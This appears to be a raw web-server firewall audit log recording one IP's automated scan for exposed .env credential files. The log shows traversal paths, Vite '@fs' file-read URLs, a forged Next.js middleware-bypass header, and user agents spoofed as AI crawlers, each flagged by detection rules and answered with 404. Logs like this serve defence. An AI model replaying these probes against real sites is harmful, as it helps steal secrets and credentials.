Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ccb8c705-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeTTJ6xTvcJoem7f98wAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeTTJ6xTvcJoem7f98wAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977328530 165616 (- - -)
Stopwatch2: 1789305977328530 165616; combined=33561, p1=357, p2=33142, p3=0, p4=0, p5=62, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ccb8c705-Z--

--c70d683c-A--
[13/Sep/2026:16:26:17.630333 +0300] aqakeWM7dE9KgIIOpQiAsQAAANY 34.73.17.152 40290 127.0.0.1 7081
--c70d683c-B--
GET /api/.env/public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c70d683c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c70d683c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env/public/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAsQAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977539469 90919 (- - -)
Stopwatch2: 1789305977539469 90919; combined=4818, p1=234, p2=4526, p3=0, p4=0, p5=57, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c70d683c-Z--

--0d73ec24-A--
[13/Sep/2026:16:26:17.926789 +0300] aqakeWM7dE9KgIIOpQiAtAAAAMM 34.73.17.152 40328 127.0.0.1 7081
--0d73ec24-B--
GET /%2eenv HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0d73ec24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0d73ec24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAtAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977705647 221196 (- - -)
Stopwatch2: 1789305977705647 221196; combined=4977, p1=293, p2=4626, p3=0, p4=0, p5=58, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0d73ec24-Z--

--12f48028-A--
[13/Sep/2026:16:26:17.932896 +0300] aqakeWM7dE9KgIIOpQiAtQAAAM0 34.73.17.152 40344 127.0.0.1 7081
--12f48028-B--
GET /static//app/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--12f48028-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--12f48028-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/app/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAtQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977767518 165434 (- - -)
Stopwatch2: 1789305977767518 165434; combined=6189, p1=295, p2=5820, p3=0, p4=0, p5=74, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12f48028-Z--

--1ccebe09-A--
[13/Sep/2026:16:26:18.293412 +0300] aqakemM7dE9KgIIOpQiAugAAANI 34.73.17.152 40422 127.0.0.1 7081
--1ccebe09-B--
GET /static//home/user/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1ccebe09-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1ccebe09-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/home/user/.env"] [unique_id "aqakemM7dE9KgIIOpQiAugAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978108685 184787 (- - -)
Stopwatch2: 1789305978108685 184787; combined=6503, p1=350, p2=6085, p3=0, p4=0, p5=67, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1ccebe09-Z--

--bf259453-A--
[13/Sep/2026:16:26:18.637407 +0300] aqakemM7dE9KgIIOpQiAvwAAAMQ 34.73.17.152 40510 127.0.0.1 7081
--bf259453-B--
GET /assets../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--bf259453-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bf259453-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/assets../.env"] [unique_id "aqakemM7dE9KgIIOpQiAvwAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978498147 139320 (- - -)
Stopwatch2: 1789305978498147 139320; combined=5412, p1=308, p2=5035, p3=0, p4=0, p5=69, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bf259453-Z--

--16ffb942-A--
[13/Sep/2026:16:26:18.649166 +0300] aqakekwu1RSkptiiNIX@TQAAAIM 34.73.17.152 40530 127.0.0.1 7081
--16ffb942-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--16ffb942-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--16ffb942-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqakekwu1RSkptiiNIX@TQAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978566120 83103 (- - -)
Stopwatch2: 1789305978566120 83103; combined=4648, p1=276, p2=4303, p3=0, p4=0, p5=68, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--16ffb942-Z--

--db63687e-A--
[13/Sep/2026:16:26:18.788004 +0300] aqakemM7dE9KgIIOpQiAwAAAANc 34.73.17.152 40546 127.0.0.1 7081
--db63687e-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--db63687e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--db63687e-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqakemM7dE9KgIIOpQiAwAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqakemM7dE9KgIIOpQiAwAAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978681689 106411 (- - -)
Stopwatch2: 1789305978681689 106411; combined=32469, p1=221, p2=32199, p3=0, p4=0, p5=49, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--db63687e-Z--

--046d4f54-A--
[13/Sep/2026:16:26:18.837380 +0300] aqakemM7dE9KgIIOpQiAwQAAAMU 34.73.17.152 40548 127.0.0.1 7081
--046d4f54-B--
GET /images../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--046d4f54-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--046d4f54-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/images../.env"] [unique_id "aqakemM7dE9KgIIOpQiAwQAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978751125 86357 (- - -)
Stopwatch2: 1789305978751125 86357; combined=4930, p1=238, p2=4633, p3=0, p4=0, p5=59, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--046d4f54-Z--

--95ce4b19-A--
[13/Sep/2026:16:26:18.905640 +0300] aqakemM7dE9KgIIOpQiAwwAAAMg 34.73.17.152 40556 127.0.0.1 7081
--95ce4b19-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--95ce4b19-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--95ce4b19-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqakemM7dE9KgIIOpQiAwwAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqakemM7dE9KgIIOpQiAwwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978808728 96981 (- - -)
Stopwatch2: 1789305978808728 96981; combined=32681, p1=222, p2=32400, p3=0, p4=0, p5=59, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--95ce4b19-Z--

--2e716b61-A--
[13/Sep/2026:16:26:18.933046 +0300] aqakemM7dE9KgIIOpQiAxAAAAMM 34.73.17.152 40570 127.0.0.1 7081
--2e716b61-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2e716b61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2e716b61-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqakemM7dE9KgIIOpQiAxAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqakemM7dE9KgIIOpQiAxAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978827125 105977 (- - -)
Stopwatch2: 1789305978827125 105977; combined=35688, p1=288, p2=35326, p3=0, p4=0, p5=74, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2e716b61-Z--

--cec6073d-A--
[13/Sep/2026:16:26:19.029515 +0300] aqakekwu1RSkptiiNIX@UAAAAI0 34.73.17.152 40588 127.0.0.1 7081
--cec6073d-B--
GET /uploads../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--cec6073d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cec6073d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/uploads../.env"] [unique_id "aqakekwu1RSkptiiNIX@UAAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
